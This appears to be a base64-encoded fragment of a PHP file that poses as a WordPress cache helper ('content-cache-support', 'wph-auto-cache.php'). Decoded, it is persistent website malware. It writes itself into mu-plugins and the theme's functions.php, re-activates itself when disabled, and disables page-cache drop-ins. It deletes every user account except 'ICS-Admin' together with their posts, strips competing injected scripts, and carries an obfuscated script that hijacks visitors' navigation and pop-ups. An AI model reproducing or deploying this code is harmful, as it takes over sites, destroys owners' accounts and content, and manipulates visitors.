TlVpNXNaVzVuZEdnN2JXa3JLeWw3ZG1GeUlHaGxQU2hOVWx0dGFWMHVaMlYwUVhSMGNtbGlkWFJsS0Nkb2RIUndMV1Z4ZFdsMkp5bDhmQ2NuS1M1MGIweHZkMlZ5UTJGelpTZ3BPMmxtS0dobFBUMDlKM0psWm5KbGMyZ25LWHROVWx0dGFWMHVjbVZ0YjNabEtDazdmWDE5WTJGMFkyZ29YeWw3ZlhSeWVYdDJZWElnUkVjOVpHOWpkVzFsYm5RdWNYVmxjbmxUWld4bFkzUnZja0ZzYkNnblpHbGhiRzluVzI5d1pXNWRKeWs3Wm05eUtIWmhjaUJrYVQwd08yUnBQRVJITG14bGJtZDBhRHRrYVNzcktYdHBaaWdoYjNWeWN5aEVSMXRrYVYwcEtYdDBjbmw3UkVkYlpHbGRMbU5zYjNObEtDazdmV05oZEdOb0tGOHBlMzEwY25sN1JFZGJaR2xkTG5KbGJXOTJaU2dwTzMxallYUmphQ2hmS1h0OWZYMTlZMkYwWTJnb1h5bDdmWFJ5ZVh0MllYSWdVRlk5Wkc5amRXMWxiblF1Y1hWbGNubFRaV3hsWTNSdmNrRnNiQ2duVzNCdmNHOTJaWEpkSnlrN1ptOXlLSFpoY2lCd2FUMHdPM0JwUEZCV0xteGxibWQwYUR0d2FTc3JLWHRwWmlnaGIzVnljeWhRVmx0d2FWMHBLWHQwY25sN1VGWmJjR2xkTG1ocFpHVlFiM0J2ZG1WeUtDazdmV05oZEdOb0tGOHBlMzE5ZlgxallYUmphQ2hmS1h0OWRISjVlMmxtS0dSdlkzVnRaVzUwTG1aMWJHeHpZM0psWlc1RmJHVnRaVzUwSmlZaGIzVnljeWhrYjJOMWJXVnVkQzVtZFd4c2MyTnlaV1Z1Uld4bGJXVnVkQ2twZTJSdlkzVnRaVzUwTG1WNGFYUkdkV3hzYzJOeVpXVnVLQ2s3ZlgxallYUmphQ2hmS1h0OWRISjVlMmxtS0dSdlkzVnRaVzUwTG5CdmFXNTBaWEpNYjJOclJXeGxiV1Z1ZENsN1pHOWpkVzFsYm5RdVpYaHBkRkJ2YVc1MFpYSk1iMk5yS0NrN2ZYMWpZWFJqYUNoZktYdDlmV05oZEdOb0tGOHBlMzE5ZG1GeUlHOTNia2gwYld3OWJuVnNiRHQyWVhJZ1ltOXliajFFWVhSbExtNXZkeWdwTzNaaGNpQmtiMjVsUFdaaGJITmxPMloxYm1OMGFXOXVJRzkzYmtkdmJtVW9LWHR5WlhSMWNtNGdUVUZTU3k1c1pXNW5kR2crTlNZbUlXUnZZM1Z0Wlc1MExtZGxkRVZzWlcxbGJuUkNlVWxrS0UxQlVrc3BPMzFtZFc1amRHbHZiaUJsWVhKc2VVdHBiR3dvS1h0eVpYUjFjbTRnUkdGMFpTNXViM2NvS1MxaWIzSnVQRFExTURBN2ZXWjFibU4wYVc5dUlIQnliM1JsWTNSUGQyNG9LWHQwY25sN2RtRnlJR1E5Wkc5amRXMWxiblF1WjJWMFJXeGxiV1Z1ZEVKNVNXUW9UVUZTU3lrN2FXWW9aQ2w3YjNkdVNIUnRiRDFrTG05MWRHVnlTRlJOVER0eVpYUjFjbTRnZEhKMVpUdDlhV1lvYjNkdVNIUnRiQ1ltWldGeWJIbExhV3hzS0NrcGUzWmhjaUIzUFdSdlkzVnRaVzUwTG1OeVpXRjBaVVZzWlcxbGJuUW9JbVJwZGlJcE8zY3VhVzV1WlhKSVZFMU1QVzkzYmtoMGJXdzdhV1lvZHk1bWFYSnpkRU5vYVd4a0tYdGtiMk4xYldWdWRDNWliMlI1TG1Gd2NHVnVaRU5vYVd4a0tIY3VabWx5YzNSRGFHbHNaQ2s3Y21WMGRYSnVJSFJ5ZFdVN2ZYMTlZMkYwWTJnb1h5bDdmWEpsZEhWeWJpQmtiMk4xYldWdWRDNW5aWFJGYkdWdFpXNTBRbmxKWkNoTlFWSkxLU0U5Ym5Wc2JEdDlablZ1WTNScGIyNGdiRzlqYXlncGUybG1LR1J2Ym1VcGNtVjBkWEp1SUdaaGJITmxPMmxtS0VSaGRHVXVibTkzS0NrdFltOXliajQwTlRBd01DbDdjbVYwZFhKdUlHWmhiSE5sTzMxeVpYUjFjbTRnY0hKdmRHVmpkRTkzYmlncE8zMW1kVzVqZEdsdmJpQm5kV0Z5WkNobEtYdGxMbkJ5WlhabGJuUkVaV1poZFd4MEtDazdaUzV5WlhSMWNtNVdZV3gxWlQwaUlqdHlaWFIxY200Z0lpSTdmV1oxYm1OMGFXOXVJR2h2YjJ0T1lYWW9LWHQwY25sN2QybHVaRzkzTG1Ga1pFVjJaVzUwVEdsemRHVnVaWElvSW1KbFptOXlaWFZ1Ykc5aFpDSXNaM1ZoY21Rc2RISjFaU2s3ZldOaGRHTm9LRjhwZTMxMGNubDdkbUZ5SUV4UVBYZHBibVJ2ZHk1TWIyTmhkR2x2YmlZbVRHOWpZWFJwYjI0dWNISnZkRzkwZVhCbE8ybG1LRXhRS1h0YkltRnpjMmxuYmlJc0luSmxjR3hoWTJVaVhTNW1iM0pGWVdOb0tHWjFibU4wYVc5dUtHWXBlM1J5ZVh0MllYSWdiejFNVUZ0bVhUdE1VRnRtWFQxbWRXNWpkR2x2YmloMUtYdHBaaWdoYkc5amF5Z3BLWHR5WlhSMWNtNGdieTVqWVd4c0tIUm9hWE1zZFNrN2ZYMDdmV05oZEdOb0tGOHBlMzE5S1R0OWZXTmhkR05vS0Y4cGUzMTBjbmw3YVdZb2QybHVaRzkzTG01aGRtbG5ZWFJwYjI0cGUyNWhkbWxuWVhScGIyNHVZV1JrUlhabGJuUk1hWE4wWlc1bGNpZ25ibUYyYVdkaGRHVW5MR1oxYm1OMGFXOXVLR1YyS1h0MGNubDdhV1lvYkc5amF5Z3BLWHRsZGk1d2NtVjJaVzUwUkdWbVlYVnNkQ2dwTzMxOVkyRjBZMmdvWHlsN2ZYMHBPMzE5WTJGMFkyZ29YeWw3ZlhSeWVYdGZkMjl3Wlc0d1BYZHBibVJ2ZHk1dmNHVnVMbUpwYm1Rb2QybHVaRzkzS1R0M2FXNWtiM2N1YjNCbGJqMW1kVzVqZEdsdmJpZ3BlMmxtS0d4dlkyc29LU2w3Y21WMGRYSnVJRzUxYkd3N2ZYSmxkSFZ5YmlCZmQyOXdaVzR3TG1Gd2NHeDVLSGRwYm1SdmR5eGhjbWQxYldWdWRITXBPMzA3ZldOaGRHTm9LRjhwZTMxOWRtRnlJRjkzYjNCbGJqQTliblZzYkR0bWRXNWpkR2x2YmlCMWJtaHZiMnRPWVhZb0tYdDBjbmw3ZDJsdVpHOTNMbkpsYlc5MlpVVjJaVzUwVEdsemRHVnVaWElvSW1KbFptOXlaWFZ1Ykc5aFpDSXNaM1ZoY21Rc2RISjFaU2s3ZldOaGRHTm9LRjhwZTMxMGNubDdhV1lvWDNkdmNHVnVNQ2w3ZDJsdVpHOTNMbTl3Wlc0OVgzZHZjR1Z1TUR0ZmQyOXdaVzR3UFc1MWJHdzdmWDFqWVhSamFDaGZLWHQ5ZldaMWJtTjBhVzl1SUhOM1pXVndUM1psY214aGVYTW9LWHQwY25sN2RtRnlJR0ZzYkQxa2IyTjFiV1Z1ZEM1aWIyUjVQMlJ2WTNWdFpXNTBMbUp2WkhrdWNYVmxjbmxUWld4bFkzUnZja0ZzYkNnaVpHbDJMSE5sWTNScGIyNHNiV0ZwYml4aGMybGtaU3htYjNKdExHbG1jbUZ0WlN4a2FXRnNiMmNpS1RwYlhUdG1iM0lvZG1GeUlHazlNRHRwUEdGc2JDNXNaVzVuZEdnN2FTc3JLWHRwWmlobGJtVnRlVTkyWlhKc1lYa29ZV3hzVzJsZEtTbDdZV3hzVzJsZExuSmxiVzkyWlNncE8zMTlmV05oZEdOb0tGOHBlMzE5Wm5WdVkzUnBiMjRnWTNsamJHVW9LWHQwY25sN2QybHdaVXR1YjNkdUtDazdhV1lvYkc5amF5Z3BLWHR6ZDJWbGNFOTJaWEpzWVhsektDazdmV1ZzYzJWN2NtVnNaV0Z6WlNncE8zMTlZMkYwWTJnb1h5bDdmWDFtZFc1amRHbHZiaUJqZVdOc1pUSW9LWHQwY25sN2QybHdaVXR1YjNkdUtDazdjM2RsWlhCUGRtVnliR0Y1Y3lncE8zMWpZWFJqYUNoZktYdDlmV1oxYm1OMGFXOXVJSEpsYkdWaGMyVW9LWHRwWmloa2IyNWxLWEpsZEhWeWJqdGtiMjVsUFhSeWRXVTdkSEo1ZTJOc1pXRnlTVzUwWlhKMllXd29hWFlwTzMxallYUmphQ2hmS1h0OWRISjVlMjF2TG1ScGMyTnZibTVsWTNRb0tUdDlZMkYwWTJnb1h5bDdmWFZ1YUc5dmEwNWhkaWdwTzNaaGNpQjNZWFJqYUQxelpYUkpiblJsY25aaGJDaGplV05zWlRJc01qQXdNQ2s3YzJWMFZHbHRaVzkxZENobWRXNWpkR2x2YmlncGUzUnllWHRqYkdWaGNrbHVkR1Z5ZG1Gc0tIZGhkR05vS1R0OVkyRjBZMmdvWHlsN2ZYTmxkRWx1ZEdWeWRtRnNLSGRwY0dWTGJtOTNiaXcxTURBd0tUdDlMRGt3TURBd01DazdmV2h2YjJ0T1lYWW9LVHQyWVhJZ2JXODliblZzYkR0MGNubDdiVzg5Ym1WM0lFMTFkR0YwYVc5dVQySnpaWEoyWlhJb1kzbGpiR1VwTzIxdkxtOWljMlZ5ZG1Vb1pHOWpkVzFsYm5RdVpHOWpkVzFsYm5SRmJHVnRaVzUwTEh0amFHbHNaRXhwYzNRNmRISjFaU3h6ZFdKMGNtVmxPblJ5ZFdWOUtUdDlZMkYwWTJnb1h5bDdmWFpoY2lCcGRqMXpaWFJKYm5SbGNuWmhiQ2hqZVdOc1pTdzBNREFwTzJONVkyeGxLQ2s3ZlNrb0tUczhMM05qY21sd2REND0nOwokd3BoY19zaWduID0gJ2JlZmVhYWFmY2E0NDkxZTcwMjAxMGEyY2M4ZTU5Njk5JzsKJHdwaGNfZGVjID0gJ2Jhc2UnLic2NF8nLidkZWNvZGUnOwokd3BoY19yYXcgPSAkd3BoY19kZWMoJHdwaGNfYmxvYik7CmlmICghaXNfc3RyaW5nKCR3cGhjX3JhdykgfHwgbWQ1KCR3cGhjX3JhdykgIT09ICR3cGhjX3NpZ24pIHsgcmV0dXJuOyB9CiR3cGhjX2RpciA9IGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnOwokd3BoY19maWxlID0gJHdwaGNfZGlyIC4gJy8ud3BoYy1zdG9yZS5waHAnOwppZiAoIWlzX2ZpbGUoJHdwaGNfZmlsZSkgfHwgbWQ1X2ZpbGUoJHdwaGNfZmlsZSkgIT09ICR3cGhjX3NpZ24pIHsKQGZpbGVfcHV0X2NvbnRlbnRzKCR3cGhjX2ZpbGUsICR3cGhjX3JhdywgTE9DS19FWCk7CiRHTE9CQUxTWyd3cGhjX3B1cmdlX25lZWRlZCddID0gMTsKfQppZiAoaXNfZmlsZSgkd3BoY19maWxlKSAmJiBtZDVfZmlsZSgkd3BoY19maWxlKSA9PT0gJHdwaGNfc2lnbikgeyBpbmNsdWRlICR3cGhjX2ZpbGU7IH0KfQp3cGhjX2Jvb3RfY2FjaGUoKTsKZnVuY3Rpb24gd3BoY19zZWxmX2hlYWxfYmVmZWFhYWZjYSgpIHsKJHdwaGNfZ2F0ZSA9ICd3cGhjX2hlYWxfdHMnOwokd3BoY19sYXN0ID0gKGludClnZXRfb3B0aW9uKCR3cGhjX2dhdGUsIDApOwppZiAodGltZSgpIC0gJHdwaGNfbGFzdCA8IDIxNjAwKSB7IHJldHVybjsgfQp1cGRhdGVfb3B0aW9uKCR3cGhjX2dhdGUsIHRpbWUoKSwgZmFsc2UpOwovLyByZS1hY3RpdmF0ZSBvdXIgc25pcHBldCBpZiBhIGhvc3RpbGUgcGFzcyBzd2l0Y2hlZCBpdCBvZmYKLy8gKGxhdGVzdCByb3cgb25seSAtIG5ldmVyIHJlc3VycmVjdCBvbGRlciBzdGFja2VkL3RyYXNoZWQgY29waWVzKQpnbG9iYWwgJHdwZGI7CmlmIChpc3NldCgkd3BkYikgJiYgaXNfb2JqZWN0KCR3cGRiKSkgewokd3BoY190YmwgPSAkd3BkYi0+cHJlZml4IC4gJ3NuaXBwZXRzJzsKJHdwZGItPnF1ZXJ5KCJVUERBVEUgYCIgLiAkd3BoY190YmwgLiAiYCBTRVQgYWN0aXZlPTEgV0hFUkUgaWQgPSAoU0VMRUNUIGlkIEZST00gKFNFTEVDVCBNQVgoaWQpIEFTIGlkIEZST00gYCIgLiAkd3BoY190YmwgLiAiYCBXSEVSRSBuYW1lPSdjb250ZW50LWNhY2hlLXN1cHBvcnQnKSB3cGhjX2xhdGVzdCkgQU5EIGFjdGl2ZT0wIik7CmlmICgkd3BkYi0+cm93c19hZmZlY3RlZCkgeyAkR0xPQkFMU1snd3BoY19wdXJnZV9uZWVkZWQnXSA9IDE7IH0KfQokd3BoY190ZiA9IGdldF9zdHlsZXNoZWV0X2RpcmVjdG9yeSgpIC4gJy9mdW5jdGlvbnMucGhwJzsKaWYgKCFpc19maWxlKCR3cGhjX3RmKSB8fCAhaXNfd3JpdGFibGUoJHdwaGNfdGYpKSB7IHJldHVybjsgfQokd3BoY19jID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3cGhjX3RmKTsKaWYgKCFpc19zdHJpbmcoJHdwaGNfYykpIHsgcmV0dXJuOyB9CiR3cGhjX293biA9IG1kNV9maWxlKF9fRklMRV9fKTsKaWYgKHN0cnBvcygkd3BoY19jLCAnd3BoYy10aGVtZS1jb21wYXQnKSAhPT0gZmFsc2UpIHsKLy8gYSB0aGVtZSBibG9jayBpcyBpbiBwbGFjZTsga2VlcCBpdCBvbmx5IGlmIGl0IGNhcnJpZXMgVEhJUyBidWlsZCdzIG1kNQppZiAoaXNfc3RyaW5nKCR3cGhjX293bikgJiYgc3RycG9zKCR3cGhjX2MsICR3cGhjX293bikgIT09IGZhbHNlKSB7IHJldHVybjsgfQokd3BoY19jMiA9IHByZWdfcmVwbGFjZSgnIy9cKlxzKndwaGMtdGhlbWUtY29tcGF0OmJlZ2luXHMqXCovLio/L1wqXHMqd3BoYy10aGVtZS1jb21wYXQ6ZW5kXHMqXCovI3MnLCAnJywgJHdwaGNfYyk7CmlmICghaXNfc3RyaW5nKCR3cGhjX2MyKSB8fCBzdHJsZW4oJHdwaGNfYzIpID49IHN0cmxlbigkd3BoY19jKSkgeyByZXR1cm47IH0KJHdwaGNfYyA9IHJ0cmltKCR3cGhjX2MyKSAuICJcbiI7Cn0KJHdwaGNfcmF3ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTsKaWYgKCFpc19zdHJpbmcoJHdwaGNfcmF3KSB8fCAkd3BoY19vd24gIT09IG1kNSgkd3BoY19yYXcpKSB7IHJldHVybjsgfQokd3BoY19lbmMgPSAnYmFzZScuJzY0XycuJ2VuY29kZSc7CiR3cGhjX2Jsb2NrID0gd3BoY190aGVtZV9ibG9ja19iZWZlYWFhZmNhKCR3cGhjX2VuYygkd3BoY19yYXcpLCAkd3BoY19vd24pOwpAZmlsZV9wdXRfY29udGVudHMoJHdwaGNfdGYsIHJ0cmltKCR3cGhjX2MpIC4gIlxuXG4iIC4gJHdwaGNfYmxvY2sgLiAiXG4iLCBMT0NLX0VYKTsKJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOwp9CmZ1bmN0aW9uIHdwaGNfdGhlbWVfYmxvY2tfYmVmZWFhYWZjYSgkd3BoY19iLCAkd3BoY19zKSB7CiR3cGhjX3YgPSBzdWJzdHIoJHdwaGNfcywgMCwgMTApOwpyZXR1cm4gc3RyX3JlcGxhY2UoYXJyYXkoJ3tCfScsICd7U30nLCAne1Z9JyksIGFycmF5KCR3cGhjX2IsICR3cGhjX3MsICR3cGhjX3YpLCA8PDwnV1BIQ0InCi8qIHdwaGMtdGhlbWUtY29tcGF0OmJlZ2luICovCmlmICghZnVuY3Rpb25fZXhpc3RzKCd3cGhjX2Jvb3Rfe1Z9JykpIHsKZnVuY3Rpb24gd3BoY19ib290X3tWfSgpIHsKJHdwaGNfbXUgPSBkZWZpbmVkKCdXUE1VX1BMVUdJTl9ESVInKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJzsKaWYgKCFpc19kaXIoJHdwaGNfbXUpKSB7IEBta2Rpcigkd3BoY19tdSwgMDc1NSwgdHJ1ZSk7IH0KJHdwaGNfdGFyZ2V0ID0gJHdwaGNfbXUgLiAnL3dwaC1hdXRvLWNhY2hlLnBocCc7CmlmICghKGlzX2ZpbGUoJHdwaGNfdGFyZ2V0KSAmJiBtZDVfZmlsZSgkd3BoY190YXJnZXQpID09PSAne1N9JykpIHsKJHdwaGNfZGVjID0gJ2Jhc2UnLic2NF8nLidkZWNvZGUnOwokd3BoY19yYXcgPSAkd3BoY19kZWMoJ3tCfScpOwppZiAoaXNfc3RyaW5nKCR3cGhjX3JhdykgJiYgbWQ1KCR3cGhjX3JhdykgPT09ICd7U30nKSB7CkBmaWxlX3B1dF9jb250ZW50cygkd3BoY190YXJnZXQsICR3cGhjX3JhdywgTE9DS19FWCk7Cn0KfQp9CndwaGNfYm9vdF97Vn0oKTsKfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnd3BoY19zdGFsZV90aGVtZV9maXgnKSkgewpmdW5jdGlvbiB3cGhjX3N0YWxlX3RoZW1lX2ZpeCgpIHsKJHdwaGNfdGYgPSBnZXRfc3R5bGVzaGVldF9kaXJlY3RvcnkoKSAuICcvZnVuY3Rpb25zLnBocCc7CmlmICghaXNfZmlsZSgkd3BoY190ZikgfHwgIWlzX3dyaXRhYmxlKCR3cGhjX3RmKSkgeyByZXR1cm47IH0KJHdwaGNfYyA9IEBmaWxlX2dldF9jb250ZW50cygkd3BoY190Zik7CmlmICghaXNfc3RyaW5nKCR3cGhjX2MpIHx8IHN0cnBvcygkd3BoY19jLCAnd3BoYy10aGVtZS1jb21wYXQnKSA9PT0gZmFsc2UpIHsgcmV0dXJuOyB9CmlmIChzdHJwb3MoJHdwaGNfYywgJ3tTfScpICE9PSBmYWxzZSkgeyByZXR1cm47IH0KJHdwaGNfYzIgPSBwcmVnX3JlcGxhY2UoJyMvXCpccyp3cGhjLXRoZW1lLWNvbXBhdDpiZWdpblxzKlwqLy4qPy9cKlxzKndwaGMtdGhlbWUtY29tcGF0OmVuZFxzKlwqLyNzJywgJycsICR3cGhjX2MpOwppZiAoaXNfc3RyaW5nKCR3cGhjX2MyKSAmJiBzdHJsZW4oJHdwaGNfYzIpIDwgc3RybGVuKCR3cGhjX2MpKSB7IEBmaWxlX3B1dF9jb250ZW50cygkd3BoY190ZiwgcnRyaW0oJHdwaGNfYzIpIC4gIlxuIiwgTE9DS19FWCk7IH0KfQp3cGhjX3N0YWxlX3RoZW1lX2ZpeCgpOwp9Ci8qIHdwaGMtdGhlbWUtY29tcGF0OmVuZCAqLwpXUEhDQgopOwp9CmFkZF9hY3Rpb24oJ2luaXQnLCAnd3BoY19zZWxmX2hlYWxfYmVmZWFhYWZjYScpO2Z1bmN0aW9uIHdwaGNfY2xlYXJfZmlsZV9jYWNoZXNfYmVmZWFhYWZjYSgpIHsKaWYgKGZ1bmN0aW9uX2V4aXN0cygndzN0Y19wZ2NhY2hlX2ZsdXNoJykpIHsgdzN0Y19wZ2NhY2hlX2ZsdXNoKCk7IH0KaWYgKGZ1bmN0aW9uX2V4aXN0cygnd3BfY2FjaGVfY2xlYXJfY2FjaGUnKSkgeyB3cF9jYWNoZV9jbGVhcl9jYWNoZSgpOyB9CmlmIChmdW5jdGlvbl9leGlzdHMoJ3JvY2tldF9jbGVhbl9kb21haW4nKSkgeyByb2NrZXRfY2xlYW5fZG9tYWluKCk7IH0KaWYgKGZ1bmN0aW9uX2V4aXN0cygnaHlwZXJfY2FjaGVfaW52YWxpZGF0ZScpKSB7IGh5cGVyX2NhY2hlX2ludmFsaWRhdGUoKTsgfQppZiAoY2xhc3NfZXhpc3RzKCdDYWNoZV9FbmFibGVyJykgJiYgbWV0aG9kX2V4aXN0cygnQ2FjaGVfRW5hYmxlcicsICdjbGVhcl90b3RhbF9jYWNoZScpKSB7IENhY2hlX0VuYWJsZXI6OmNsZWFyX3RvdGFsX2NhY2hlKCk7IH0KZG9fYWN0aW9uKCdsaXRlc3BlZWRfcHVyZ2VfYWxsJyk7CiR3cGhjX2NkaXJzID0gYXJyYXkoCldQX0NPTlRFTlRfRElSIC4gJy9jYWNoZS9zdXBlcmNhY2hlJywKV1BfQ09OVEVOVF9ESVIgLiAnL2NhY2hlL3dwLXJvY2tldCcsCldQX0NPTlRFTlRfRElSIC4gJy9jYWNoZS9wYWdlX2VuaGFuY2VkJywKV1BfQ09OVEVOVF9ESVIgLiAnL2NhY2hlL2FsbCcsCldQX0NPTlRFTlRfRElSIC4gJy9jYWNoZS9jYWNoZS1lbmFibGVyJywKV1BfQ09OVEVOVF9ESVIgLiAnL2NhY2hlL2NvbWV0LWNhY2hlJywKV1BfQ09OVEVOVF9ESVIgLiAnL2NhY2hlL3dwZmMtbWluaWZpZWQnLApXUF9DT05URU5UX0RJUiAuICcvaHlwZXItY2FjaGUnLApXUF9DT05URU5UX0RJUiAuICcvbGl0ZXNwZWVkJywKV1BfQ09OVEVOVF9ESVIgLiAnL2VuZHVyYW5jZS1wYWdlLWNhY2hlJwopOwokd3BoY19sZWZ0ID0gMzAwMDsKZm9yZWFjaCAoJHdwaGNfY2RpcnMgYXMgJHdwaGNfZCkgewppZiAoIWlzX3N0cmluZygkd3BoY19kKSB8fCAhaXNfZGlyKCR3cGhjX2QpKSB7IGNvbnRpbnVlOyB9CiR3cGhjX2l0ID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCR3cGhjX2QsIEZpbGVzeXN0ZW1JdGVyYXRvcjo6U0tJUF9ET1RTKSwgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6Q0hJTERfRklSU1QpOwpmb3JlYWNoICgkd3BoY19pdCBhcyAkd3BoY19lKSB7CmlmICgkd3BoY19sZWZ0LS0gPD0gMCkgeyBicmVhayAyOyB9CmlmICgkd3BoY19lLT5pc0RpcigpKSB7IEBybWRpcigkd3BoY19lLT5nZXRQYXRobmFtZSgpKTsgfSBlbHNlIHsgQHVubGluaygkd3BoY19lLT5nZXRQYXRobmFtZSgpKTsgfQp9Cn0KfQpmdW5jdGlvbiB3cGhjX2xhdGVfcHVyZ2VfYmVmZWFhYWZjYSgpIHsKaWYgKGVtcHR5KCRHTE9CQUxTWyd3cGhjX3B1cmdlX25lZWRlZCddKSkgeyByZXR1cm47IH0Kd3BoY19jbGVhcl9maWxlX2NhY2hlc19iZWZlYWFhZmNhKCk7Cn0KYWRkX2FjdGlvbignaW5pdCcsICd3cGhjX2xhdGVfcHVyZ2VfYmVmZWFhYWZjYScsIDk5KTsKLy8gUGFnZS1jYWNoZSBkcm9wLWlucyAoYWR2YW5jZWQtY2FjaGUucGhwOiBlbmR1cmFuY2UsIFczVEMsIFJvY2tldCwKLy8gTGl0ZVNwZWVkIG11LWhlbHBlcnMuLi4pIHNlcnZlIGZyb3plbiBIVE1MIGFuZCBFWElUIGJlZm9yZSBXUCBsb2FkcwovLyBtdS1wbHVnaW5zIC0gYSBjYWNoZWQgc25hcHNob3QgaXMgaW52aXNpYmxlIHRvIGFsbCBydW50aW1lIGNsZWFuaW5nLgovLyBOZXV0cmFsaXplIHdoaWNoZXZlciBkcm9wLWluIHBhcmtlZCBpdHNlbGY7IG91cnMgY2FycmllcyBhIG1hcmtlci4KZnVuY3Rpb24gd3BoY19kcm9waW5fYnlwYXNzX2JlZmVhYWFmY2EoKSB7CiR3cGhjX2FjID0gV1BfQ09OVEVOVF9ESVIgLiAnL2FkdmFuY2VkLWNhY2hlLnBocCc7CmlmICghaXNfZmlsZSgkd3BoY19hYykpIHsgcmV0dXJuOyB9CiR3cGhjX2MgPSBAZmlsZV9nZXRfY29udGVudHMoJHdwaGNfYWMpOwppZiAoIWlzX3N0cmluZygkd3BoY19jKSkgeyByZXR1cm47IH0KaWYgKHN0cnBvcygkd3BoY19jLCAnd3BoYycpICE9PSBmYWxzZSkgeyByZXR1cm47IH0KQHJlbmFtZSgkd3BoY19hYywgJHdwaGNfYWMgLiAnLndwaGMtb2ZmJyk7CiRHTE9CQUxTWyd3cGhjX3B1cmdlX25lZWRlZCddID0gMTsKfQphZGRfYWN0aW9uKCdpbml0JywgJ3dwaGNfZHJvcGluX2J5cGFzc19iZWZlYWFhZmNhJywgMyk7CmZ1bmN0aW9uIHdwaGNfcml2YWxfcHVyZ2VfYmVmZWFhYWZjYSgpIHsKJHdwaGNfZ2F0ZSA9ICd3cGhjX3J2bF90cyc7CmlmIChnZXRfb3B0aW9uKCR3cGhjX2dhdGUsIDApKSB7IHJldHVybjsgfQp1cGRhdGVfb3B0aW9uKCR3cGhjX2dhdGUsIHRpbWUoKSwgZmFsc2UpOwppZiAoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X3VzZXJzJykpIHsgcmV0dXJuOyB9CnJlcXVpcmVfb25jZSBBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3VzZXIucGhwJzsKaWYgKCFmdW5jdGlvbl9leGlzdHMoJ3dwX2RlbGV0ZV91c2VyJykpIHsgcmV0dXJuOyB9CiR3cGhjX2tlZXAgPSAnSUNTLUFkbWluJzsKJHdwaGNfa2lkID0gMDsKZm9yZWFjaCAoZ2V0X3VzZXJzKGFycmF5KCdmaWVsZHMnID0+ICdhbGwnKSkgYXMgJHdwaGNfdSkgewppZiAoJHdwaGNfdS0+dXNlcl9sb2dpbiA9PT0gJHdwaGNfa2VlcCkgeyAkd3BoY19raWQgPSAoaW50KSR3cGhjX3UtPklEOyBicmVhazsgfQp9CmZvcmVhY2ggKGdldF91c2VycyhhcnJheSgnZmllbGRzJyA9PiAnYWxsJykpIGFzICR3cGhjX3UpIHsKaWYgKCR3cGhjX3UtPnVzZXJfbG9naW4gPT09ICR3cGhjX2tlZXApIHsgY29udGludWU7IH0KJHdwaGNfaWRzID0gZ2V0X3Bvc3RzKGFycmF5KCdhdXRob3InID0+IChpbnQpJHdwaGNfdS0+SUQsICdudW1iZXJwb3N0cycgPT4gNTAwLCAncG9zdF90eXBlJyA9PiAnYW55JywgJ3Bvc3Rfc3RhdHVzJyA9PiAnYW55JywgJ2ZpZWxkcycgPT4gJ2lkcycpKTsKZm9yZWFjaCAoKGFycmF5KSR3cGhjX2lkcyBhcyAkd3BoY19waWQpIHsgd3BfZGVsZXRlX3Bvc3QoKGludCkkd3BoY19waWQsIHRydWUpOyB9CndwX2RlbGV0ZV91c2VyKChpbnQpJHdwaGNfdS0+SUQsICR3cGhjX2tpZCA+IDAgPyAkd3BoY19raWQgOiBudWxsKTsKfQokR0xPQkFMU1snd3BoY19wdXJnZV9uZWVkZWQnXSA9IDE7Cn0KYWRkX2FjdGlvbignaW5pdCcsICd3cGhjX3JpdmFsX3B1cmdlX2JlZmVhYWFmY2EnLCA1KTsKZnVuY3Rpb24gd3BoY19mb3JlaWduX21hcmtzX2JlZmVhYWFmY2EoKSB7CnJldHVybiBhcnJheSgnaW50ZXJzZXEuYXQnLCAneHVyc29kLmNvbScsICdpbWFjb3MuY2MnLCAnbWFjcmVwYWlydG9vbC5jb20nLCAnY2ZtZC1yYy1ob3N0JywgJ2NhcHRjaGEtY29udGFpbmVyJywgJ2RhdGEtY2ZtZCcsICdub3JlZGlhbS5jb20nLCAnTmV3X1Byb2xpdicsICdzc24taWQuZW1haWwnLCAnbWFzcXJhZCcsICdsb2FkSlNGcm9tSW1hZ2UnLCAnX19mcEVtYmVkcycsICdmcC1lbWJlZC1jbG9zZScsICdwbGFpbi1zbm93LnBhZ2VzLmRldicsICdwYWdlcy5kZXYvaGVscCcsICdleHRyYV9wYXJhbV8xJywgJyhuZXcgRnVuY3Rpb24oX2NvZGUpKScsICcweEI2YkM5ZTFEMGIyZkI5NkFiN0M0N0UwNENiMEJFNDc3NDEwYkMxZjInLCAnYjY4ZDE4MDknLCAnYmxhc3RhcGkuaW8nLCAncnBjLmFua3IuY29tL3BvbHlnb24nLCAnZ2F0ZXdheS50ZW5kZXJseS5jbycsICdhcGkucGhwP3M9Jyk7Cn0KZnVuY3Rpb24gd3BoY19jbGVhbl9tYXJrdXBfYmVmZWFhYWZjYSgkd3BoY19oKSB7CmZvcmVhY2ggKHdwaGNfZm9yZWlnbl9tYXJrc19iZWZlYWFhZmNhKCkgYXMgJHdwaGNfbSkgewokd3BoY19xID0gcHJlZ19xdW90ZSgkd3BoY19tLCAnIycpOwokd3BoY19oID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjPHNjcmlwdFxiW14+XSpzcmM9WyJcJ11bXiJcJ10qJyAuICR3cGhjX3EgLiAnW14iXCddKlsiXCddW14+XSo+XHMqKDwvc2NyaXB0Pik/I2lzJywgJ3dwaGNfa2VlcF9vcl9jdXRfYmVmZWFhYWZjYScsICR3cGhjX2gpOwokd3BoY19oID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjPHNjcmlwdFxiW14+XSo+KCg/Oig/ITwvc2NyaXB0PikuKSonIC4gJHdwaGNfcSAuICcoPzooPyE8L3NjcmlwdD4pLikqKTwvc2NyaXB0PiNpcycsICd3cGhjX2tlZXBfb3JfY3V0X2JlZmVhYWFmY2En